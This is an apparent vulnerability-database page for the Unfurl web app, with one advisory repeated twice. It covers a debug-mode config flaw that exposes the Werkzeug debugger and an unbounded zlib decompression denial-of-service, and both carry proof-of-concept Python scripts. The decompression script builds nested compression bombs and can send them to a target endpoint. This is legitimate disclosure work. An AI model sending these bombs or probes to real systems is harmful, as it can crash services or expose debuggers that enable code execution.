References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 30, 2020

20200629 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 30, 2020

Activity

Details